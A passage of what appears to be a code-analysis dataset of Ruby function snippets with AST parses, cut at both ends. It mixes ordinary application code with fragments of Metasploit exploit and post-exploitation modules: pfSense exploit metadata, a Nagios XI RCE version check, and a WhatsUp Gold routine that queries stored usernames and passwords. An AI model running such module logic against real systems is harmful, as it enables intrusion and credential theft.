]},{\"type\":\"str\",\"children\":[\"perl openssl\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-11-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"User to login with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to login with\"]},{\"type\":\"str\",\"children\":[\"pfsense\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"7c79a195-72f3-414a-b006-0c1e301c715f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/stage_update_worker.rb","start_line":17,"raw_source":"def perform(stage_id)\n Ci::Stage.find_by_id(stage_id)&.update_legacy_status\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stage_id\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Stage\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"stage_id\"]}]},\"update_legacy_status\"]}]}","id":"70c7be48-ac5e-44cf-bc8d-596630033e0a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/java.rb","start_line":192,"raw_source":"def serialized_class_from_jar(jar, ser_class)\n file_name = Rex::Text.rand_text_alpha_lower(8)\n file_path = datastore['JavaCache'] + \"/#{file_name}.jar\"\n ::File.open(file_path, 'wb+') {|f| f.write(jar)}\n ::Rjb::add_jar(file_path)\n ::File.unlink(file_path)\n payClass = ::Rjb::import(ser_class)\n byteArrayClass = ::Rjb::import(\"java.io.ByteArrayOutputStream\")\n outputClass = ::Rjb::import(\"java.io.ObjectOutputStream\")\n payInst = payClass.new()\n byteArrayInst = byteArrayClass.new()\n outputInst = outputClass.new(byteArrayInst)\n begin\n serResult = outputInst.writeObject(payInst)\n rescue => e\n # Rjb exceptions are pretty broken - try to inform the user of where we keeled\n print_error(\"Failed to Rjb-serialize the #{ser_class} class due to #{e}\")\n raise e\n end\n byteArrayInst.toByteArray()\n end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"serialized_class_from_jar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"jar\"]},{\"type\":\"arg\",\"children\":[\"ser_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"JavaCache\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".jar\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\"wb+\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"jar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rjb\"]},\"add_jar\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"unlink\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payClass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rjb\"]},\"import\",{\"type\":\"lvar\",\"children\":[\"ser_class\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"byteArrayClass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rjb\"]},\"import\",{\"type\":\"str\",\"children\":[\"java.io.ByteArrayOutputStream\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"outputClass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rjb\"]},\"import\",{\"type\":\"str\",\"children\":[\"java.io.ObjectOutputStream\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payInst\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payClass\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"byteArrayInst\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byteArrayClass\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"outputInst\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outputClass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"byteArrayInst\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"serResult\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outputInst\"]},\"writeObject\",{\"type\":\"lvar\",\"children\":[\"payInst\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to Rjb-serialize the \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ser_class\"]}]},{\"type\":\"str\",\"children\":[\" class due to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byteArrayInst\"]},\"toByteArray\"]}]}]}","id":"645c4a8f-f008-466e-8d11-f9cf278ac405"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/controllers/work_package_hierarchy_relations_controller_spec.rb","start_line":182,"raw_source":"def send_delete_request(related:)\n delete(\"destroy\",\n params: { work_package_id: work_package.id,\n id: related.id },\n as: :turbo_stream)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"send_delete_request\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"related\"]}]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"str\",\"children\":[\"destroy\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"related\"]},\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"turbo_stream\"]}]}]}]}]}","id":"5e5b31d7-bb5c-467b-97e1-f71808f3c272"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.rb","start_line":73,"raw_source":"def check\n vprint_status \"STEP 0: Get Nagios XI version string.\"\n res = send_request_cgi!({\n 'method' => 'GET',\n 'uri' => '/nagiosxi/'\n })\n\n if !res || !res.get_html_document\n fail_with(Failure::Unknown, 'Could not check nagios version')\n end\n\n if (@version = res.get_html_document.at('//input[@name = \"version\"]/@value').text)\n @version = Rex::Version.new(@version)\n vprint_good(\"STEP 0: Found Nagios XI version: #{@version.to_s}\")\n if @version < target[:lower_version]\n vprint_bad('Try nagios_xi_chained for this version.')\n elsif (@version <= target[:upper_version] && @version >= target[:lower_version])\n return CheckCode::Appears\n end\n end\n CheckCode::Safe\n end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"STEP 0: Get Nagios XI version string.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/nagiosxi/\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Could not check nagios version\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"at\",{\"type\":\"str\",\"children\":[\"//input[@name = \\\"version\\\"]/@value\"]}]},\"text\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"STEP 0: Found Nagios XI version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lower_version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_bad\",{\"type\":\"str\",\"children\":[\"Try nagios_xi_chained for this version.\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"upper_version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lower_version\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"4c4ea9ff-392f-4b38-a17d-ff3a936d494d"} {"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/products/prepare_nested_attributes.rb","start_line":118,"raw_source":"def can_update_prices?\n @can_update_prices ||= product.new_record? || can?(:manage, Spree::Price.new(variant_id: product.default_variant.id))\n end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"can_update_prices?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@can_update_prices\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"product\"]},\"new_record?\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"sym\",\"children\":[\"manage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Price\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"product\"]},\"default_variant\"]},\"id\"]}]}]}]}]}]}]}]}","id":"3851cfb6-e54f-4dea-b5fa-f48037b64a1c"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":568,"raw_source":"def editing_a_flagged_and_hidden_post?\n self_edit? && @post.hidden &&\n @post.hidden_reason_id == Post.hidden_reasons[:flag_threshold_reached]\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"editing_a_flagged_and_hidden_post?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_edit?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"hidden\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"hidden_reason_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"hidden_reasons\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"flag_threshold_reached\"]}]}]}]}]}","id":"a830b9df-d911-4b17-8d09-e83ab0227288"} {"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/web/rack_logger.rb","start_line":146,"raw_source":"def log_request(env, status, elapsed)\n logger.tagged(:rack) do\n logger.info(**data(env, status: status, elapsed: elapsed))\n end\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"log_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"elapsed\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"tagged\",{\"type\":\"sym\",\"children\":[\"rack\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\",{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"elapsed\"]},{\"type\":\"lvar\",\"children\":[\"elapsed\"]}]}]}]}]}]}]}]}]}","id":"0daab34f-ddff-46b8-9ec9-0d37880fc9d8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/container_registry/container_repository_details_type.rb","start_line":42,"raw_source":"def size\n handling_errors { object.size }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handling_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"size\"]}]}]}","id":"f494c368-a957-40cc-93f4-b063b11ed847"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_test.rb","start_line":100,"raw_source":"def test_exists_with_identity_cache_when_cache_hit\n IdentityCache.cache.expects(:fetch).with(@blob_key, {}).returns(@cached_value)\n\n assert(Item.exists_with_identity_cache?(1))\n end","complexity_score":7.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exists_with_identity_cache_when_cache_hit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"fetch\"]}]},\"with\",{\"type\":\"ivar\",\"children\":[\"@blob_key\"]},{\"type\":\"hash\",\"children\":[]}]},\"returns\",{\"type\":\"ivar\",\"children\":[\"@cached_value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"exists_with_identity_cache?\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"c5b819bd-90b3-4a37-98b0-fb798a34fb34"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_dirperms.rb","start_line":94,"raw_source":"def get_token\n print_status('Getting impersonation token...')\n begin\n t = get_imperstoken\n rescue StandardError => e\n # Failure due to timeout, access denied, etc.\n t = nil\n vprint_error(\"Error #{e.message} while using get_imperstoken()\")\n vprint_error(e.backtrace)\n end\n return t\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Getting impersonation token...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[null,\"get_imperstoken\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\" while using get_imperstoken()\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]}]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}","id":"a642f67d-55df-45be-8819-2ff3c1084d51"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/correctors/for_to_each_corrector.rb","start_line":11,"raw_source":"def initialize(for_node)\n @for_node = for_node\n @variable_node = for_node.variable\n @collection_node = for_node.collection\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"for_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@for_node\",{\"type\":\"lvar\",\"children\":[\"for_node\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@variable_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"for_node\"]},\"variable\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@collection_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"for_node\"]},\"collection\"]}]}]}]}","id":"c0e06287-c5b3-4ba7-ade2-97ef0748963b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/whatsupgold_credential_dump.rb","start_line":157,"raw_source":"def dump_wug_db\n sql_query = \"SET NOCOUNT ON;\n SELECT\n ct.nCredentialTypeID nCredentialTypeID,\n CONVERT(VARBINARY(1024),ct.sDisplayName) DisplayName,\n CONVERT(VARBINARY(1024),ct.sDescription) Description,\n CONVERT(VARBINARY(1024),ctd.sName) Username,\n CONVERT(VARBINARY(4096),ctd.sValue) Password\n FROM\n [dbo].[CredentialType] AS ct\n JOIN\n [dbo].[CredentialTypeData] AS ctd ON(ct.nCredentialTypeID=ctd.nCredentialTypeID)\n WHERE\n ctd.sValue IS NOT NULL AND ctd.sValue NOT LIKE ''\"\n sql_cmd = sql_prepare(sql_query)\n print_status('Export WhatsUp Gold DB ...')\n query_result = cmd_exec(sql_cmd)\n fail_with(Msf::Exploit::Failure::Unknown, query_result) if query_result.downcase.start_with?('sqlcmd: ') || query_result.downcase.start_with?('msg ')\n\n csv = ::CSV.parse(query_result.gsub(\"\\r\", ''), row_sep: :auto, headers: export_header_row, quote_char: \"\\x00\", skip_blanks: true)\n fail_with(Msf::Exploit::Failure::Unknown, 'Error parsing WUG SQL dataset into CSV format') unless csv\n\n @wug_total_secrets = csv['nCredentialTypeID'].uniq.count\n fail_with(Msf::Exploit::Failure::Unknown, 'WUG SQL dataset contains no nCredentialTypeID column values') unless @wug_total_secrets >= 1 && !csv['nCredentialTypeID'].uniq.first.nil?\n\n csv\n end","complexity_score":37.03,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_wug_db\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SET NOCOUNT ON;\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT\\n\"]},{\"type\":\"str\",\"children\":[\" ct.nCredentialTypeID nCredentialTypeID,\\n\"]},{\"type\":\"str\",\"children\":[\" CONVERT(VARBINARY(1024),ct.sDisplayName) DisplayName,\\n\"]},{\"type\":\"str\",\"children\":[\" CONVERT(VARBINARY(1024),ct.sDescription) Description,\\n\"]},{\"type\":\"str\",\"children\":[\" CONVERT(VARBINARY(1024),ctd.sName) Username,\\n\"]},{\"type\":\"str\",\"children\":[\" CONVERT(VARBINARY(4096),ctd.sValue) Password\\n\"]},{\"type\":\"str\",\"children\":[\" FROM\\n\"]},{\"type\":\"str\",\"children\":[\" [dbo].[CredentialType] AS ct\\n\"]},{\"type\":\"str\",\"children\":[\" JOIN\\n\"]},{\"type\":\"str\",\"children\":[\" [dbo].[CredentialTypeData] AS ctd ON(ct.nCredentialTypeID=ctd.nCredentialTypeID)\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE\\n\"]},{\"type\":\"str\",\"children\":[\" ctd.sValue IS NOT NULL AND ctd.sValue NOT LIKE ''\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql_cmd\",{\"type\":\"send\",\"children\":[null,\"sql_prepare\",{\"type\":\"lvar\",\"children\":[\"sql_query\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Export WhatsUp Gold DB ...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query_result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"sql_cmd\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_result\"]},\"downcase\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"sqlcmd: \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_result\"]},\"downcase\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"msg \"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"lvar\",\"children\":[\"query_result\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"csv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CSV\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_result\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\r\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"row_sep\"]},{\"type\":\"sym\",\"children\":[\"auto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"export_header_row\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quote_char\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_blanks\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csv\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Error parsing WUG SQL dataset into CSV format\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@wug_total_secrets\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csv\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nCredentialTypeID\"]}]},\"uniq\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wug_total_secrets\"]},\">=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csv\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nCredentialTypeID\"]}]},\"uniq\"]},\"first\"]},\"nil?\"]},\"!\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children